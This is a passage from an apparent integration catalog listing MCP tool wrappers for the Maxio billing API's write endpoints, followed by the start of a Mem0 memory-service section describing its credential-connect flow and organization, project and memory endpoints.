/invoices/{uid}/deliveries.json POST /api/v1/maxio/invoices/{uid}/deliveries.json. Scopes: api. maxio_post_invoices_by_uid_issue_json (write) — Issue invoice via POST /invoices/{uid}/issue.json POST /api/v1/maxio/invoices/{uid}/issue.json. Scopes: api. maxio_post_invoices_by_uid_payments_json (write) — Record payment for invoice via POST /invoices/{uid}/payments.json POST /api/v1/maxio/invoices/{uid}/payments.json. Scopes: api. maxio_post_invoices_by_uid_refunds_json (write) — Refund invoice via POST /invoices/{uid}/refunds.json POST /api/v1/maxio/invoices/{uid}/refunds.json. Scopes: api. maxio_post_invoices_by_uid_reopen_json (write) — Reopen invoice via POST /invoices/{uid}/reopen.json POST /api/v1/maxio/invoices/{uid}/reopen.json. Scopes: api. maxio_post_invoices_by_uid_void_json (write) — Void invoice via POST /invoices/{uid}/void.json POST /api/v1/maxio/invoices/{uid}/void.json. Scopes: api. maxio_post_invoices_payments_json (write) — Record payment for multiple invoices via POST /invoices/payments.json POST /api/v1/maxio/invoices/payments.json. Scopes: api. maxio_post_offers_json (write) — Create offer via POST /offers.json POST /api/v1/maxio/offers.json. Scopes: api. maxio_post_payment_profiles_json (write) — Create payment profile via POST /payment_profiles.json POST /api/v1/maxio/payment_profiles.json. Scopes: api. maxio_post_portal_customers_by_customer_id_enable_json (write) — Enable billing portal for customer via POST /portal/customers/{customer_id}/enable.json POST /api/v1/maxio/portal/customers/{customer_id}/enable.json. Scopes: api. maxio_post_portal_customers_by_customer_id_invitations_invite_json (write) — Resend billing portal invitation via POST /portal/customers/{customer_id}/invitations/invite.json POST /api/v1/maxio/portal/customers/{customer_id}/invitations/invite.json. Scopes: api. maxio_post_price_points_by_price_point_id_currency_prices_json (write) — Create currency prices via POST /price_points/{price_point_id}/currency_prices.json POST /api/v1/maxio/price_points/{price_point_id}/currency_prices.json. Scopes: api. maxio_post_product_families_by_product_family_id_coupons_json (write) — Create coupon via POST /product_families/{product_family_id}/coupons.json POST /api/v1/maxio/product_families/{product_family_id}/coupons.json. Scopes: api. maxio_post_product_families_by_product_family_id_event_based_components_json (write) — Create event based component via POST /product_families/{product_family_id}/event_based_components.json POST /api/v1/maxio/product_families/{product_family_id}/event_based_components.json. Scopes: api. maxio_post_product_families_by_product_family_id_metered_components_json (write) — Create metered component via POST /product_families/{product_family_id}/metered_components.json POST /api/v1/maxio/product_families/{product_family_id}/metered_components.json. Scopes: api. maxio_post_product_families_by_product_family_id_on_off_components_json (write) — Create on off component via POST /product_families/{product_family_id}/on_off_components.json POST /api/v1/maxio/product_families/{product_family_id}/on_off_components.json. Scopes: api. maxio_post_product_families_by_product_family_id_prepaid_usage_components_json (write) — Create prepaid usage component via POST /product_families/{product_family_id}/prepaid_usage_components.json POST /api/v1/maxio/product_families/{product_family_id}/prepaid_usage_components.json. Scopes: api. maxio_post_product_families_by_product_family_id_products_json (write) — Create product via POST /product_families/{product_family_id}/products.json POST /api/v1/maxio/product_families/{product_family_id}/products.json. Scopes: api. maxio_post_product_families_by_product_family_id_quantity_based_components_json (write) — Create quantity based component via POST /product_families/{product_family_id}/quantity_based_components.json POST /api/v1/maxio/product_families/{product_family_id}/quantity_based_components.json. Scopes: api. maxio_post_product_families_json (write) — Create product family via POST /product_families.json POST /api/v1/maxio/product_families.json. Scopes: api. maxio_post_product_price_points_by_product_price_point_id_currency_prices_json (write) — Create product currency prices via POST /product_price_points/{product_price_point_id}/currency_prices.json POST /api/v1/maxio/product_price_points/{product_price_point_id}/currency_prices.json. Scopes: api. maxio_post_products_by_product_id_features_by_id_restore_json (write) — Restore product feature via POST /products/{product_id}/features/{id}/restore.json POST /api/v1/maxio/products/{product_id}/features/{id}/restore.json. Scopes: api. maxio_post_products_by_product_id_features_json (write) — Create product feature via POST /products/{product_id}/features.json POST /api/v1/maxio/products/{product_id}/features.json. Scopes: api. maxio_post_products_by_product_id_price_points_bulk_json (write) — Bulk create product price points via POST /products/{product_id}/price_points/bulk.json POST /api/v1/maxio/products/{product_id}/price_points/bulk.json. Scopes: api. maxio_post_products_by_product_id_price_points_json (write) — Create product price point via POST /products/{product_id}/price_points.json POST /api/v1/maxio/products/{product_id}/price_points.json. Scopes: api. maxio_post_proforma_invoices_by_proforma_invoice_uid_deliveries_json (write) — Deliver proforma invoice via POST /proforma_invoices/{proforma_invoice_uid}/deliveries.json POST /api/v1/maxio/proforma_invoices/{proforma_invoice_uid}/deliveries.json. Scopes: api. maxio_post_proforma_invoices_by_proforma_invoice_uid_void_json (write) — Void proforma invoice via POST /proforma_invoices/{proforma_invoice_uid}/void.json POST /api/v1/maxio/proforma_invoices/{proforma_invoice_uid}/void.json. Scopes: api. maxio_post_reason_codes_json (write) — Create reason code via POST /reason_codes.json POST /api/v1/maxio/reason_codes.json. Scopes: api. maxio_post_sites_clear_data_json (write) — Clear site via POST /sites/clear_data.json POST /api/v1/maxio/sites/clear_data.json. Scopes: api. maxio_post_subscription_groups_by_uid_cancel_json (write) — Cancel subscriptions in group via POST /subscription_groups/{uid}/cancel.json POST /api/v1/maxio/subscription_groups/{uid}/cancel.json. Scopes: api. maxio_post_subscription_groups_by_uid_delayed_cancel_json (write) — Initiate delayed cancellation for group via POST /subscription_groups/{uid}/delayed_cancel.json POST /api/v1/maxio/subscription_groups/{uid}/delayed_cancel.json. Scopes: api. maxio_post_subscription_groups_by_uid_payment_profiles_by_payment_profile_id_change_payment_profile_json (write) — Change subscription group default payment profile via POST /subscription_groups/{uid}/payment_profiles/{payment_profile_id}/change_payment_profile.json POST /api/v1/maxio/subscription_groups/{uid}/payment_profiles/{payment_profile_id}/change_payment_profile.json. Scopes: api. maxio_post_subscription_groups_by_uid_prepayments_json (write) — Create subscription group prepayment via POST /subscription_groups/{uid}/prepayments.json POST /api/v1/maxio/subscription_groups/{uid}/prepayments.json. Scopes: api. maxio_post_subscription_groups_by_uid_proforma_invoices_json (write) — Create consolidated proforma invoice via POST /subscription_groups/{uid}/proforma_invoices.json POST /api/v1/maxio/subscription_groups/{uid}/proforma_invoices.json. Scopes: api. maxio_post_subscription_groups_by_uid_reactivate_json (write) — Reactivate subscription group via POST /subscription_groups/{uid}/reactivate.json POST /api/v1/maxio/subscription_groups/{uid}/reactivate.json. Scopes: api. maxio_post_subscription_groups_by_uid_service_credit_deductions_json (write) — Deduct subscription group service credit via POST /subscription_groups/{uid}/service_credit_deductions.json POST /api/v1/maxio/subscription_groups/{uid}/service_credit_deductions.json. Scopes: api. maxio_post_subscription_groups_by_uid_service_credits_json (write) — Issue subscription group service credit via POST /subscription_groups/{uid}/service_credits.json POST /api/v1/maxio/subscription_groups/{uid}/service_credits.json. Scopes: api. maxio_post_subscription_groups_json (write) — Create subscription group via POST /subscription_groups.json POST /api/v1/maxio/subscription_groups.json. Scopes: api. maxio_post_subscription_groups_signup_json (write) — Signup with subscription group via POST /subscription_groups/signup.json POST /api/v1/maxio/subscription_groups/signup.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_add_coupon_json (write) — Apply coupons to subscription via POST /subscriptions/{subscription_id}/add_coupon.json POST /api/v1/maxio/subscriptions/{subscription_id}/add_coupon.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_advance_invoice_issue_json (write) — Issue advance invoice via POST /subscriptions/{subscription_id}/advance_invoice/issue.json POST /api/v1/maxio/subscriptions/{subscription_id}/advance_invoice/issue.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_advance_invoice_void_json (write) — Void advance invoice via POST /subscriptions/{subscription_id}/advance_invoice/void.json POST /api/v1/maxio/subscriptions/{subscription_id}/advance_invoice/void.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_allocations_json (write) — Allocate components via POST /subscriptions/{subscription_id}/allocations.json POST /api/v1/maxio/subscriptions/{subscription_id}/allocations.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_allocations_preview_json (write) — Preview allocations via POST /subscriptions/{subscription_id}/allocations/preview.json POST /api/v1/maxio/subscriptions/{subscription_id}/allocations/preview.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_cancel_dunning_json (write) — Cancel dunning via POST /subscriptions/{subscription_id}/cancel_dunning.json POST /api/v1/maxio/subscriptions/{subscription_id}/cancel_dunning.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_components_by_component_id_allocations_json (write) — Allocate component via POST /subscriptions/{subscription_id}/components/{component_id}/allocations.json POST /api/v1/maxio/subscriptions/{subscription_id}/components/{component_id}/allocations.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_delayed_cancel_json (write) — Initiate delayed cancellation via POST /subscriptions/{subscription_id}/delayed_cancel.json POST /api/v1/maxio/subscriptions/{subscription_id}/delayed_cancel.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_group_json (write) — Add subscription to group via POST /subscriptions/{subscription_id}/group.json POST /api/v1/maxio/subscriptions/{subscription_id}/group.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_hold_json (write) — Pause subscription via POST /subscriptions/{subscription_id}/hold.json POST /api/v1/maxio/subscriptions/{subscription_id}/hold.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_invoices_json (write) — Create invoice via POST /subscriptions/{subscription_id}/invoices.json POST /api/v1/maxio/subscriptions/{subscription_id}/invoices.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_migrations_json (write) — Migrate subscription product via POST /subscriptions/{subscription_id}/migrations.json POST /api/v1/maxio/subscriptions/{subscription_id}/migrations.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_migrations_preview_json (write) — Preview subscription product migration via POST /subscriptions/{subscription_id}/migrations/preview.json POST /api/v1/maxio/subscriptions/{subscription_id}/migrations/preview.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_notes_json (write) — Create subscription note via POST /subscriptions/{subscription_id}/notes.json POST /api/v1/maxio/subscriptions/{subscription_id}/notes.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_or_reference_components_by_component_id_usages_json (write) — Create usage via POST /subscriptions/{subscription_id_or_reference}/components/{component_id}/usages.json POST /api/v1/maxio/subscriptions/{subscription_id_or_reference}/components/{component_id}/usages.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_payment_profiles_by_payment_profile_id_change_payment_profile_json (write) — Change subscription default payment profile via POST /subscriptions/{subscription_id}/payment_profiles/{payment_profile_id}/change_payment_profile.json POST /api/v1/maxio/subscriptions/{subscription_id}/payment_profiles/{payment_profile_id}/change_payment_profile.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_payments_json (write) — Record payment for subscription via POST /subscriptions/{subscription_id}/payments.json POST /api/v1/maxio/subscriptions/{subscription_id}/payments.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_prepaid_configurations_json (write) — Update prepaid subscription configuration via POST /subscriptions/{subscription_id}/prepaid_configurations.json POST /api/v1/maxio/subscriptions/{subscription_id}/prepaid_configurations.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_prepayments_by_prepayment_id_refunds_json (write) — Refund prepayment via POST /subscriptions/{subscription_id}/prepayments/{prepayment_id}/refunds.json POST /api/v1/maxio/subscriptions/{subscription_id}/prepayments/{prepayment_id}/refunds.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_prepayments_json (write) — Create prepayment via POST /subscriptions/{subscription_id}/prepayments.json POST /api/v1/maxio/subscriptions/{subscription_id}/prepayments.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_price_points_json (write) — Bulk update subscription components price points via POST /subscriptions/{subscription_id}/price_points.json POST /api/v1/maxio/subscriptions/{subscription_id}/price_points.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_price_points_reset_json (write) — Bulk reset subscription components price points via POST /subscriptions/{subscription_id}/price_points/reset.json POST /api/v1/maxio/subscriptions/{subscription_id}/price_points/reset.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_proforma_invoices_json (write) — Create proforma invoice via POST /subscriptions/{subscription_id}/proforma_invoices.json POST /api/v1/maxio/subscriptions/{subscription_id}/proforma_invoices.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_proforma_invoices_preview_json (write) — Preview proforma invoice via POST /subscriptions/{subscription_id}/proforma_invoices/preview.json POST /api/v1/maxio/subscriptions/{subscription_id}/proforma_invoices/preview.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_purge_json (write) — Purge subscription via POST /subscriptions/{subscription_id}/purge.json POST /api/v1/maxio/subscriptions/{subscription_id}/purge.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_renewals_preview_json (write) — Preview renewal via POST /subscriptions/{subscription_id}/renewals/preview.json POST /api/v1/maxio/subscriptions/{subscription_id}/renewals/preview.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_request_payment_profiles_update_json (write) — Send request update payment email via POST /subscriptions/{subscription_id}/request_payment_profiles_update.json POST /api/v1/maxio/subscriptions/{subscription_id}/request_payment_profiles_update.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_resume_json (write) — Resume subscription via POST /subscriptions/{subscription_id}/resume.json POST /api/v1/maxio/subscriptions/{subscription_id}/resume.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_scheduled_renewals_by_scheduled_renewals_configuration_id_configuration_items_json (write) — Create scheduled renewal configuration item via POST /subscriptions/{subscription_id}/scheduled_renewals/{scheduled_renewals_configuration_id}/configuration_items.json POST /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{scheduled_renewals_configuration_id}/configuration_items.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_scheduled_renewals_json (write) — Create scheduled renewal configuration via POST /subscriptions/{subscription_id}/scheduled_renewals.json POST /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_service_credit_deductions_json (write) — Deduct service credit via POST /subscriptions/{subscription_id}/service_credit_deductions.json POST /api/v1/maxio/subscriptions/{subscription_id}/service_credit_deductions.json. Scopes: api. maxio_post_subscriptions_by_subscription_id_service_credits_json (write) — Issue service credit via POST /subscriptions/{subscription_id}/service_credits.json POST /api/v1/maxio/subscriptions/{subscription_id}/service_credits.json. Scopes: api. maxio_post_subscriptions_json (write) — Create subscription via POST /subscriptions.json POST /api/v1/maxio/subscriptions.json. Scopes: api. maxio_post_subscriptions_preview_json (write) — Preview subscription via POST /subscriptions/preview.json POST /api/v1/maxio/subscriptions/preview.json. Scopes: api. maxio_post_subscriptions_proforma_invoices_json (write) — Create signup proforma invoice via POST /subscriptions/proforma_invoices.json POST /api/v1/maxio/subscriptions/proforma_invoices.json. Scopes: api. maxio_post_subscriptions_proforma_invoices_preview_json (write) — Preview signup proforma invoice via POST /subscriptions/proforma_invoices/preview.json POST /api/v1/maxio/subscriptions/proforma_invoices/preview.json. Scopes: api. maxio_post_webhooks_replay_json (write) — Replay webhooks via POST /webhooks/replay.json POST /api/v1/maxio/webhooks/replay.json. Scopes: api. maxio_put_bank_accounts_by_bank_account_id_verification_json (write) — Verify bank account via PUT /bank_accounts/{bank_account_id}/verification.json PUT /api/v1/maxio/bank_accounts/{bank_account_id}/verification.json. Scopes: api. maxio_put_by_resource_type_by_resource_id_metadata_json (write) — Update metadata via PUT /{resource_type}/{resource_id}/metadata.json PUT /api/v1/maxio/{resource_type}/{resource_id}/metadata.json. Scopes: api. maxio_put_by_resource_type_metafields_json (write) — Update metafield via PUT /{resource_type}/metafields.json PUT /api/v1/maxio/{resource_type}/metafields.json. Scopes: api. maxio_put_components_by_component_id_features_by_id_json (write) — Update component feature via PUT /components/{component_id}/features/{id}.json PUT /api/v1/maxio/components/{component_id}/features/{id}.json. Scopes: api. maxio_put_components_by_component_id_json (write) — Update component via PUT /components/{component_id}.json PUT /api/v1/maxio/components/{component_id}.json. Scopes: api. maxio_put_components_by_component_id_price_points_by_price_point_id_default_json (write) — Promote component price point to default via PUT /components/{component_id}/price_points/{price_point_id}/default.json PUT /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/default.json. Scopes: api. maxio_put_components_by_component_id_price_points_by_price_point_id_json (write) — Update component price point via PUT /components/{component_id}/price_points/{price_point_id}.json PUT /api/v1/maxio/components/{component_id}/price_points/{price_point_id}.json. Scopes: api. maxio_put_components_by_component_id_price_points_by_price_point_id_segments_bulk_json (write) — Bulk update segments via PUT /components/{component_id}/price_points/{price_point_id}/segments/bulk.json PUT /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/segments/bulk.json. Scopes: api. maxio_put_components_by_component_id_price_points_by_price_point_id_segments_by_id_json (write) — Update segment via PUT /components/{component_id}/price_points/{price_point_id}/segments/{id}.json PUT /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/segments/{id}.json. Scopes: api. maxio_put_components_by_component_id_price_points_by_price_point_id_unarchive_json (write) — Unarchive component price point via PUT /components/{component_id}/price_points/{price_point_id}/unarchive.json PUT /api/v1/maxio/components/{component_id}/price_points/{price_point_id}/unarchive.json. Scopes: api. maxio_put_coupons_by_coupon_id_codes_json (write) — Update coupon subcodes via PUT /coupons/{coupon_id}/codes.json PUT /api/v1/maxio/coupons/{coupon_id}/codes.json. Scopes: api. maxio_put_coupons_by_coupon_id_currency_prices_json (write) — Create or update coupon currency prices via PUT /coupons/{coupon_id}/currency_prices.json PUT /api/v1/maxio/coupons/{coupon_id}/currency_prices.json. Scopes: api. maxio_put_customers_by_id_json (write) — Update customer via PUT /customers/{id}.json PUT /api/v1/maxio/customers/{id}.json. Scopes: api. maxio_put_endpoints_by_endpoint_id_json (write) — Update endpoint via PUT /endpoints/{endpoint_id}.json PUT /api/v1/maxio/endpoints/{endpoint_id}.json. Scopes: api. maxio_put_features_by_id_json (write) — Update feature template via PUT /features/{id}.json PUT /api/v1/maxio/features/{id}.json. Scopes: api. maxio_put_invoices_by_uid_customer_information_json (write) — Update customer information via PUT /invoices/{uid}/customer_information.json PUT /api/v1/maxio/invoices/{uid}/customer_information.json. Scopes: api. maxio_put_offers_by_offer_id_archive_json (write) — Archive offer via PUT /offers/{offer_id}/archive.json PUT /api/v1/maxio/offers/{offer_id}/archive.json. Scopes: api. maxio_put_offers_by_offer_id_unarchive_json (write) — Unarchive offer via PUT /offers/{offer_id}/unarchive.json PUT /api/v1/maxio/offers/{offer_id}/unarchive.json. Scopes: api. maxio_put_payment_profiles_by_payment_profile_id_json (write) — Update payment profile via PUT /payment_profiles/{payment_profile_id}.json PUT /api/v1/maxio/payment_profiles/{payment_profile_id}.json. Scopes: api. maxio_put_price_points_by_price_point_id_currency_prices_json (write) — Update currency prices via PUT /price_points/{price_point_id}/currency_prices.json PUT /api/v1/maxio/price_points/{price_point_id}/currency_prices.json. Scopes: api. maxio_put_product_families_by_product_family_id_components_by_component_id_json (write) — Update product family component via PUT /product_families/{product_family_id}/components/{component_id}.json PUT /api/v1/maxio/product_families/{product_family_id}/components/{component_id}.json. Scopes: api. maxio_put_product_families_by_product_family_id_coupons_by_coupon_id_json (write) — Update coupon via PUT /product_families/{product_family_id}/coupons/{coupon_id}.json PUT /api/v1/maxio/product_families/{product_family_id}/coupons/{coupon_id}.json. Scopes: api. maxio_put_product_price_points_by_product_price_point_id_currency_prices_json (write) — Update product currency prices via PUT /product_price_points/{product_price_point_id}/currency_prices.json PUT /api/v1/maxio/product_price_points/{product_price_point_id}/currency_prices.json. Scopes: api. maxio_put_products_by_product_id_features_by_id_json (write) — Update product feature via PUT /products/{product_id}/features/{id}.json PUT /api/v1/maxio/products/{product_id}/features/{id}.json. Scopes: api. maxio_put_products_by_product_id_json (write) — Update product via PUT /products/{product_id}.json PUT /api/v1/maxio/products/{product_id}.json. Scopes: api. maxio_put_products_by_product_id_price_points_by_price_point_id_json (write) — Update product price point via PUT /products/{product_id}/price_points/{price_point_id}.json PUT /api/v1/maxio/products/{product_id}/price_points/{price_point_id}.json. Scopes: api. maxio_put_reason_codes_by_reason_code_id_json (write) — Update reason code via PUT /reason_codes/{reason_code_id}.json PUT /api/v1/maxio/reason_codes/{reason_code_id}.json. Scopes: api. maxio_put_subscription_groups_by_uid_json (write) — Update subscription group members via PUT /subscription_groups/{uid}.json PUT /api/v1/maxio/subscription_groups/{uid}.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_activate_json (write) — Activate subscription via PUT /subscriptions/{subscription_id}/activate.json PUT /api/v1/maxio/subscriptions/{subscription_id}/activate.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_components_by_component_id_allocations_by_allocation_id_json (write) — Update prepaid usage allocation expiration date via PUT /subscriptions/{subscription_id}/components/{component_id}/allocations/{allocation_id}.json PUT /api/v1/maxio/subscriptions/{subscription_id}/components/{component_id}/allocations/{allocation_id}.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_hold_json (write) — Update automatic subscription resumption via PUT /subscriptions/{subscription_id}/hold.json PUT /api/v1/maxio/subscriptions/{subscription_id}/hold.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_invoices_by_uid_json (write) — Update invoice via PUT /subscriptions/{subscription_id}/invoices/{uid}.json PUT /api/v1/maxio/subscriptions/{subscription_id}/invoices/{uid}.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_json (write) — Update subscription via PUT /subscriptions/{subscription_id}.json PUT /api/v1/maxio/subscriptions/{subscription_id}.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_notes_by_note_id_json (write) — Update subscription note via PUT /subscriptions/{subscription_id}/notes/{note_id}.json PUT /api/v1/maxio/subscriptions/{subscription_id}/notes/{note_id}.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_override_json (write) — Override subscription via PUT /subscriptions/{subscription_id}/override.json PUT /api/v1/maxio/subscriptions/{subscription_id}/override.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_reactivate_json (write) — Reactivate subscription via PUT /subscriptions/{subscription_id}/reactivate.json PUT /api/v1/maxio/subscriptions/{subscription_id}/reactivate.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_retry_json (write) — Retry subscription via PUT /subscriptions/{subscription_id}/retry.json PUT /api/v1/maxio/subscriptions/{subscription_id}/retry.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_scheduled_renewals_by_id_cancel_json (write) — Cancel scheduled renewal configuration via PUT /subscriptions/{subscription_id}/scheduled_renewals/{id}/cancel.json PUT /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{id}/cancel.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_scheduled_renewals_by_id_immediate_lock_in_json (write) — Lock in scheduled renewal immediately via PUT /subscriptions/{subscription_id}/scheduled_renewals/{id}/immediate_lock_in.json PUT /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{id}/immediate_lock_in.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_scheduled_renewals_by_id_json (write) — Update scheduled renewal configuration via PUT /subscriptions/{subscription_id}/scheduled_renewals/{id}.json PUT /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{id}.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_scheduled_renewals_by_id_schedule_lock_in_json (write) — Schedule scheduled renewal lock in via PUT /subscriptions/{subscription_id}/scheduled_renewals/{id}/schedule_lock_in.json PUT /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{id}/schedule_lock_in.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_scheduled_renewals_by_id_unpublish_json (write) — Unpublish scheduled renewal configuration via PUT /subscriptions/{subscription_id}/scheduled_renewals/{id}/unpublish.json PUT /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{id}/unpublish.json. Scopes: api. maxio_put_subscriptions_by_subscription_id_scheduled_renewals_by_scheduled_renewals_configuration_id_configuration_items_by_id_json (write) — Update scheduled renewal configuration item via PUT /subscriptions/{subscription_id}/scheduled_renewals/{scheduled_renewals_configuration_id}/configuration_items/{id}.json PUT /api/v1/maxio/subscriptions/{subscription_id}/scheduled_renewals/{scheduled_renewals_configuration_id}/configuration_items/{id}.json. Scopes: api. maxio_put_webhooks_settings_json (write) — Enable webhooks via PUT /webhooks/settings.json PUT /api/v1/maxio/webhooks/settings.json. Scopes: api. ================================================================================ ## Mem0 URL: https://www.agenticfabriq.com/integrations/mem0 Section: Integrated Tools Mem0 — 63 MCP tools Provider key: mem0. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. mem0_delete_api_v1_orgs_organizations_by_org_id (write, destructive) — Delete an organization, and with it every project and memory underneath it (Platform) via DELETE /api/v1/orgs/organizations/{org_id} DELETE /api/v1/mem0/api/v1/orgs/organizations/{org_id}. Scopes: api. mem0_delete_api_v1_orgs_organizations_by_org_id_members (write, destructive) — Remove a member from the organization; the target email address rides in the request body rather than in the path (Platform) via DELETE /api/v1/orgs/organizations/{org_id}/members DELETE /api/v1/mem0/api/v1/orgs/organizations/{org_id}/members. Scopes: api. mem0_delete_api_v1_orgs_organizations_by_org_id_projects_by_project_id (write, destructive) — Delete a project, and with it the memories stored under it (Platform) via DELETE /api/v1/orgs/organizations/{org_id}/projects/{project_id} DELETE /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}. Scopes: api. mem0_delete_api_v1_orgs_organizations_by_org_id_projects_by_project_id_members (write, destructive) — Remove a member from the project; the target email address is a REQUIRED query parameter (Platform) via DELETE /api/v1/orgs/organizations/{org_id}/projects/{project_id}/members DELETE /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/members. Scopes: api. mem0_delete_api_v1_webhooks_by_webhook_id (write, destructive) — Delete one webhook by its id (Platform) via DELETE /api/v1/webhooks/{webhook_id} DELETE /api/v1/mem0/api/v1/webhooks/{webhook_id}. Scopes: api. mem0_delete_v1_batch (write, destructive) — Delete the memories named in the request body -- a DELETE whose targets are carried as a body rather than in the path (Memory v1) via DELETE /v1/batch DELETE /api/v1/mem0/v1/batch. Scopes: api. mem0_delete_v1_entities_by_entity_type_by_entity_id (write, destructive) — Delete one entity by type and id through the v1 route; the v2 route is the current one (Memory v1) via DELETE /v1/entities/{entity_type}/{entity_id} DELETE /api/v1/mem0/v1/entities/{entity_type}/{entity_id}. Scopes: api. mem0_delete_v1_memories (write, destructive) — Delete EVERY memory matching the given entity and metadata filters. Unbounded: a call that names no filter targets everything the key can reach (Memory v1) via DELETE /v1/memories DELETE /api/v1/mem0/v1/memories. Scopes: api. mem0_delete_v1_memories_by_memory_id (write, destructive) — Delete one memory by id, optionally deleting the memories linked to it (Memory v1) via DELETE /v1/memories/{memory_id} DELETE /api/v1/mem0/v1/memories/{memory_id}. Scopes: api. mem0_delete_v2_entities_by_entity_type_by_entity_id (write, destructive) — Delete one entity, addressed by its type and id (v2) (Memory v2) via DELETE /v2/entities/{entity_type}/{entity_id} DELETE /api/v1/mem0/v2/entities/{entity_type}/{entity_id}. Scopes: api. mem0_get_api_v1_orgs_organizations (read) — List the organizations this API key can see (Platform) via GET /api/v1/orgs/organizations GET /api/v1/mem0/api/v1/orgs/organizations. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id (read) — Read one organization by its id (Platform) via GET /api/v1/orgs/organizations/{org_id} GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_members (read) — List an organization's members and the role each holds (Platform) via GET /api/v1/orgs/organizations/{org_id}/members GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/members. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects (read) — List the projects in one organization (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id (read) — Read one project by its id (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id} GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_activity (read) — List a project's Dream reflection activity, cursor-paginated (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/activity GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/activity. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_config (read) — Read a project's Dream reflection configuration (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/config GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/config. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_memory_by_memory_id_sources (read) — List the source memories a Dream-derived memory was built from (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/memory/{memory_id}/sources GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/memory/{memory_id}/sources. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_runs (read) — List a project's Dream reflection runs, cursor-paginated (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/runs GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/runs. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_runs_by_run_id_memories (read) — List the memories one Dream reflection run produced, cursor-paginated (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/runs/{run_id}/memories GET 